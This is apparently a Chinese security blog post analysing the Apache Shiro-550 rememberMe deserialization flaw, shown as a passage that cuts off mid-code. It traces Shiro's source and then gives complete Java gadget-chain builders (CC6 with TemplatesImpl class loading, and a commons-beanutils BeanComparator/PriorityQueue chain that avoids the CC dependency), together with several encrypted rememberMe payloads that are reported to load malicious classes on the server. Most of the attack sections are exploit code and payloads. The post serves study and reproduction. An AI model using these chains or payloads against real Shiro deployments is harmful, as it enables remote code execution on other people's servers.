30
31
32
33
34
35
36
37
38
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> tc = templates.getClass();
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"a");

Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] eval = Files.readAllBytes(Paths.get("F:\\temporary\\Test.class"));
byte[][] codes = {eval};
bytecodes.set(templates,codes);

Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);

HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
// Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);

HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry,"xxx");
lazyMap.remove(templates);

Class<? extends Map> lazyMapClass = lazyMap.getClass();
Field factory = lazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,invokerTransformer);

// serialize(expMap);
unserialize("ser.bin");

}

Shiro550

今天我们精进shiro的反序列化!!!

之前有做过相关的shiro550与721的复现,不过都是利用工具的,没有理解里面的原理

550的话是由于他的密钥是固定的,是可以爆破的,经过Base64和AES解密以后,可以将里面的内容构造为恶意代码,从而达到RCE的目的

发现

在登录界面有remember me的选项,勾选后点击登录抓包

rememberMe字段中会有这么一大段东西,说明里面是存储着某些信息的,这些信息可以让我们下次不需要再次登录。我们这里可以去源码中看看进行了什么样的操作呢

在源码中找到了一个CookieRememberMeManager,应该就是它在管理这个Rememberme

在这个地方,将数据包中的cookie取出来进行base64解码,后返回解码的东西,我们看看谁调用了它

找到在getRememberedPrincipals中调用了这个方法,将解码出来的字节,放入convertBytesToPrincipals方法中,我们跟进看一下(看名字就知道跟认证有关)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
PrincipalCollection principals = null;
try {
byte[] bytes = getRememberedSerializedIdentity(subjectContext);
//SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
if (bytes != null && bytes.length > 0) {
principals = convertBytesToPrincipals(bytes, subjectContext);
}
} catch (RuntimeException re) {
principals = onRememberedPrincipalFailure(re, subjectContext);
}

return principals;
}

这个方法内,对所传入的字节进行一个解密,然后将反序列化后的它返回了回去

这里的解密函数就是AES解密,反序列化也是调用了原生的readObject

如果说它带了cc的依赖,我们就可以打它的cc依赖

1
2
3
4
5
6
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (getCipherService() != null) {
bytes = decrypt(bytes);
}
return deserialize(bytes);
}

大概流程如下,反序列化的点就在convertBytesToPrincipals中

攻击方式

URLDNS

由于shiro有cc依赖,但是在代码中没有import,所以cc的依赖没有办法打,我们先来验证一下,去打jdk自己的URLDNS链子

先生成一个可用域名

再去生成一个URLDNS链子的payload

后续我们需要用脚本,对生成的payload进行AES加密,再进行base64加密(生成payload如下)

1
GVpWKjIkTESUwYXtKFTtzBwv5gw1KjohG6Q1RBnlOtMF5aGvp6FnFFlyMyPhmvdWFyL8TLw8e34+65Sw3+c0jq0qop8ubQQtcAjHdZu2T6Nfleg7g7/sA0gOyaUCRpR5WYkqDo4/GxFwM2Qn22t0Dx6GogH20i0g19gGsHWT1Ng1LTa0TgvHKJvVT8L8wCWKh5RRncVyFLmVM6OUDuroPjw2NNIKspmj2RGD6yMCSBe3fon6nfFXnctFYO4oT7wxmL+3EKZ55HKdCRVXr4nlYnh+MU1KS9KUuuMrhdUFOCNHEcVEV7IXLBBXCwjM1yibRCgzXSGGojxNqvAO1wl4JeIRLLsVvzMbeokSS14xcmHPLQC25TmcdfgcFr91zWGDUg7zPR+8R/uCZf2hK/YoqFSKy6bqFYjuENfZ2YDbZTCZBk+tIF6YDcbkOU4eVnbaZRAmJMY2PR+fEPKzNcaZlkY720KjGE6G0YRCvLC+hUE=

将paload放入数据包中的reMeberMe中,shiro就会对他进行反序列化操作从而触发URLDNS

CC攻击链

环境配置

这里我们用cc3.2.1来搭建这个环境

我们先来使用cc6来打一下这个shiro环境,看一下它是一个怎么样的效果

1
GjDw1BVbSzeG2ZRTiqsafqN5Woprm2vK0ocyatebZYZCU5Wu30PTYzojzumFhnlTQ5GTyzlGh+Pm3PL5pBzTdQNVgwBoa7PqqUh9oqU2IIJymF2XMaQPVq513mugvjFZ8ZC2UoHDaFvlDRUToAtLqcJpfUoRq52Gvx8v1fB9GyJm5iZSLfXMmXDznYPVltvFvdePbi0eXj2K/85Zq89TCfsfVU5h2vAwP4XiTkZAlJgaXbR3FuFDpDZbKHaMRMdN5dCVT0nqHuCX/kIayuy7AfiMJRIt+sW0EFSX8S8T6Xcs/mCPtqvsiI0Kuxxl5oJq1fDRAf/QX8ovcUPiH0JK76llM+xtfkq4CrzoaY+NFp6lYOTXKN9PU+sjcioO/3BODMqmjg0clQHQV4ici3uIJ2C18V9AiZIK8S/NBhbi+0pjDECD5iErgGF5EGvdl4D85+R8GwxX8qwykGokzno6hwfyPMe9+UdvTn1rjsIroPjhETlyOZNzFlqu8Zj1K52JydgbceL1F35RjKWJzGc7dEBzmJmQ6Cahd6ICdgLRImlBYr62LZM18CXqB9naxJ4lbekq4R1zCQ8KKhpqWaAYXaL2jBsVympOss2I/uB4DQGYBVYBNowkwFlG3/O3zlDz+G60BVUR4cQnNwWqAnEWTSgS7ZGWaCfQW4T3gg4Gv5ZuuvEek9Kwi+h4e6bcrHEq6A+WTlrgb0XS40yQF2bwleEeNggdwpTrGbjd3pLUCa00Tn/yWLzzuN/6TwpANBHDfEB3RrPdaQSNu7YOGPSe4xEH3l+sSJMuULdwr/Two0TDOU1E/X9Y0wJ0crm0d7MIkvnHfqk6SGtyUTVYfo2c81sSWuB/6AQL0L9eYVozGWkl6h9Ap4lYckTuI5L1i7klVSSqcl++P0W26RrDTcVUs0YHTQc0KoPcrjrJm6jvJjz8RqiaClyrGIBL3kuSmmOWPZWT9V9CPhpz0n08i402ZdcVJOAhYAPk3B6P1t4ViPl0gcUP/hUt/acHMnhZGqNSRO5lgTambJg4d+bH9HUky19NXu3jb4jM9vauu6lqcmG87x97/uOA4EJRcGf2iFZO+6k96gRhUY/AJ0O5aE8veJhwnyPzaCaJzAdQlp4kQrWG0dvhKLhLHwdjOkrvBmERfxN58fpQDl82VHrV76+8jTIDFUZxzr/a/7IIqpmimcK9gsv7dBKP8nMRLoY64C0FR92FhRTcGcrGYc+NZpGK08aXZK1/eWqi9RgV2LY+lFn8f1Gl6QsIzy7H6zSw9GLq9r2EMR/DthiuPLBlOciFL50RVMit0Ts+wtSRmb3/3U97OP2zDEWeBNno0zRmCgrl0Mja1LbI1wtmYCFqHKbp1aRhCxKlHe94rkv8kpNpJwp3arAJckGZxRdhdr3MqL0JwQm0BOlfqyiGV4Z/LbczMIcut+OXRjma4nT8jIdFEwfVGc3a9OxU2x37F++ewCRl4jBr7+7N2f6KmN0JOLe21wsCm4pl0AKO6ZldfOeyZrQeo6SQ/44jxbQ/cg79vmV5'

报错分析

将payload放入rememberMe后,服务器端爆出了一下错误,说无法加载Transformer这个类

这里我们跟着源码去分析一下

这里找到报错的地方,这里它并不是调用了默认的字节输入流,而是调用了shiro自己写的一个ClassResolvingObjectInputStream,我们跟进去ClassResolvingObjectInputStream看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public T deserialize(byte[] serialized) throws SerializationException {
if (serialized == null) {
String msg = "argument cannot be null.";
throw new IllegalArgumentException(msg);
}
ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
BufferedInputStream bis = new BufferedInputStream(bais);
try {
ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
@SuppressWarnings({"unchecked"})
T deserialized = (T) ois.readObject();
ois.close();
return deserialized;
} catch (Exception e) {
String msg = "Unable to deserialze argument byte array.";
throw new SerializationException(msg, e);
}
}

ClassResolvingObjectInputStream只有两个方法,一个构造方法我们就不看了,看一下另一个

这里的resolveClass的方法,是在反序列化时都会调用到的,在默认的ObjectInputStream也是有这个方法的,我们来对比一下

大概的差别就是ClassResolvingObjectInputStream调用的是ClassUtils.forName(osc.getName());,其中ClassUtils是shiro自定的一个工具类

ObjectInputStream调用的是Class.forName(name, false, latestUserDefinedLoader());

我们可以这样理解,Class.forName是可以对数组进行操作的,而ClassUtils.forName是不能对数组进行操作的,这就是报错的原因

1
2
3
4
5
6
7
8
9
// ClassResolvingObjectInputStream
@Override
protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
try {
return ClassUtils.forName(osc.getName());
} catch (UnknownClassException e) {
throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", e);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// ObjectInputStream
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException
{
String name = desc.getName();
try {
return Class.forName(name, false, latestUserDefinedLoader());
} catch (ClassNotFoundException ex) {
Class<?> cl = primClasses.get(name);
if (cl != null) {
return cl;
} else {
throw ex;
}
}

报错调整

这里我们不能利用数组了,因为cc1中调用Runtime.exec需要用`ChainedTransformer``ConstantTransformer`来更正返回值,所以我们选用动态类加载去加载恶意类,大概流程如下

接下来我们去改写一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public static void main(String[] args) throws Exception {

TemplatesImpl templates = new TemplatesImpl();

Class tl = templates.getClass();
Field name = tl.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "CC3");

byte[] code= Files.readAllBytes(Paths.get("F:\\temporary\\Test.class"));
byte[][] codes={code};
Field bytecodes = tl.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, codes);

Field tfactory = tl.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());

InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null,null);

HashMap<Object,Object> map1 = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map1,new ConstantTransformer(1));

TiedMapEntry entry = new TiedMapEntry(lazyMap, templates);

HashMap<Object,Object> map2 = new HashMap<>();
map2.put(entry, "qwe");
lazyMap.remove(templates);

Class c = LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,invokerTransformer);

// serialize(map2);
unserialize("ser.bin");


}

然后老样子生成payload,放入remeberMe中(这个payload有点长,因为我们把整个类的东西都放进去了)

1
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'

CB链

shiro框架本身是不带cc的依赖的,上次打cc依赖是我们自己加的,这次我们把这个cc依赖删掉,去打他本身的CB依赖(commons-beanutils)

javabean

javabean是一个遵循特定写法的Java类

特点:

  1. 这个Java类必须有一个无参构造方法
  2. 属性必须私有化
  3. 私有化的属性必须通过public类型的方法暴露给其他程序,并且命名也遵循一定的命名规范

例如:

1
2
3
4
5
6
7
8
9
10
11
public class Person{
private String name;
private int age;

public String getName(){ return this.name}
public void setName(String name){ this.name = name; }

public int getAge(){ return this.name; }
public void setAge(){ this.age = age; }

}

如果想获取Javabean的私有属性,我们只能通过以下这种方式获取,但是在CB中为了能够动态的获取Javabean的私有属性,所以构造了一个PropertyUtils.getProperty方法

1
2
3
4
5
6
public class BeanTest{
public static void main(String[] args) throws Exception{
Person person = new Person("aaa",18);
System.out.println(person.getName);
}
}

PropertyUtils.getProperty的使用示例如下,他就会自动的去调用Person类的get方法,我们传入的是name属性,它会自动把这个属性的命名自动改为固定格式的形式,这里就会转为’Name’,调用的方法就是getName和setName方法

1
2
3
4
5
6
public class BeanTest{
public static void main(String[] args) throws Exception{
Person person = new Person("aaa",18);
System.out.println(PropertyUtils.getProperty(person,"name"));
}
}

getOutputProperites

在`TemplatesImpl`中有一个`getOutputProperties`方法,这个格式的命名就很符合Javabean,且他的方法调用了`newTransformer`方法,他是可以动态加载类的
1
2
3
4
5
6
7
8
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

我们尝试用这个来执行一下代码

调用getOutputProperties就可以成功加载恶意类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public static void main(String[] args) throws Exception {

TemplatesImpl templates = new TemplatesImpl();

Class tl = templates.getClass();
Field name = tl.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "CC3");

byte[] code= Files.readAllBytes(Paths.get("F:\\temporary\\Test.class"));
byte[][] codes={code};
Field bytecodes = tl.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, codes);

Field tfactory = tl.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());

PropertyUtils.getProperty(templates,"outputProperties");
}

CB攻击链分析

逻辑理解
现在我们需要找谁调用了这个PropertyUtils.getProperty方法,我们可以在BeanComparetor中找到它的身影,在它的compare中调用了这PropertyUtils.getProperty方法,且this.property我们也是可以控制的

正好我们之前也有调用compare的入口方法,这样就接上了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//BeanComparetor
public int compare(Object o1, Object o2) {
if (this.property == null) {
return this.comparator.compare(o1, o2);
} else {
try {
Object value1 = PropertyUtils.getProperty(o1, this.property);
Object value2 = PropertyUtils.getProperty(o2, this.property);
return this.comparator.compare(value1, value2);
} catch (IllegalAccessException var5) {
IllegalAccessException iae = var5;
throw new RuntimeException("IllegalAccessException: " + iae.toString());
} catch (InvocationTargetException var6) {
InvocationTargetException ite = var6;
throw new RuntimeException("InvocationTargetException: " + ite.toString());
} catch (NoSuchMethodException var7) {
NoSuchMethodException nsme = var7;
throw new RuntimeException("NoSuchMethodException: " + nsme.toString());
}
}
}

大概就是这样的,我们来验证一下

最终代码如下(这个是自己思考的哟,自己写出来的,但是中间有好多东西都迷糊,看一下组长的把)

思考了一下,add的参数是数字时候,会调用Integer类的getOutputProperties方法,而它是没有这个方法的,所以会报错,我这里通过反射修改size的值,以便达到遍历的目的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public static void main(String[] args) throws Exception {

TemplatesImpl templates = new TemplatesImpl();

Class tl = templates.getClass();
Field name = tl.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "CC3");

byte[] code= Files.readAllBytes(Paths.get("F:\\temporary\\Test.class"));
byte[][] codes={code};
Field bytecodes = tl.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, codes);

Field tfactory = tl.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());

BeanComparator beanComparator = new BeanComparator("outputProperties");

PriorityQueue priorityQueue = new PriorityQueue<>(beanComparator);

priorityQueue.add(templates);

Class<? extends PriorityQueue> aClass = priorityQueue.getClass();
Field size = aClass.getDeclaredField("size");
size.setAccessible(true);
size.set(priorityQueue, 2);

// serialize(priorityQueue);
unserialize("ser.bin");

}
调整
但是在用来打shiro的时候,会报一个错误

因为在CB编写的时候,就有些东西是和CC来配合的,在BeanComparator的构造函数中,会默认调用ComparableComparatorgetInstance方法,而ComparableComparator是cc依赖中的,shiro中默认没有带cc依赖,导致的错误发生

1
2
3
4
5
6
7
8
9
10
11
public class BeanComparator implements Comparator, Serializable {
private String property;
private Comparator comparator;

public BeanComparator() {
this((String)null);
}

public BeanComparator(String property) {
this(property, ComparableComparator.getInstance());
}

BeanComparator还有一个构造函数如下,里面的Comparator是可以自己传的,所以我们可以用这个构造函数来绕过cc的依赖

1
2
3
4
5
6
7
8
9
public BeanComparator(String property, Comparator comparator) {
this.setProperty(property);
if (comparator != null) {
this.comparator = comparator;
} else {
this.comparator = ComparableComparator.getInstance();
}

}

我自己的代码如下

beanComparator这里传入一个不为cc依赖的Comparator即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public static void main(String[] args) throws Exception {

TemplatesImpl templates = new TemplatesImpl();

Class tl = templates.getClass();
Field name = tl.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "CC3");

byte[] code= Files.readAllBytes(Paths.get("F:\\temporary\\Test.class"));
byte[][] codes={code};
Field bytecodes = tl.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, codes);

BeanComparator beanComparator = new BeanComparator("outputProperties",new BeanComparator());

PriorityQueue priorityQueue = new PriorityQueue<>(beanComparator);

priorityQueue.add(templates);

Class<? extends PriorityQueue> aClass = priorityQueue.getClass();
Field size = aClass.getDeclaredField("size");
size.setAccessible(true);
size.set(priorityQueue, 2);

serialize(priorityQueue);
unserialize("ser.bin");

}

生成payload后,去打shiro框架(不知道为什么在)

1
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

也是成功加载了恶意代码

组长的代码~
组长的代码如下,组长的代码是在add方法时候会报错导致序列化不成功(这里是在传入Intger时,也会调用Integer类的getOutputProperties的方法,但是他实际没有这个方法所以报错),所以在向PriorityQueue传入Comparator时,组长传入一个无用的`TransformingComparator`,然后通过反射修改回来(这里还有一个方法,在add时,只添加数字,后续通过反射修改回来)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public static void main(String[] args) throws Exception {

TemplatesImpl templates = new TemplatesImpl();

Class tl = templates.getClass();
Field name = tl.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "CC3");

byte[] code= Files.readAllBytes(Paths.get("F:\\temporary\\Test.class"));
byte[][] codes={code};
Field bytecodes = tl.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, codes);

BeanComparator beanComparator = new BeanComparator("outputProperties",new BeanComparator());

TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

priorityQueue.add(templates);
priorityQueue.add(2);

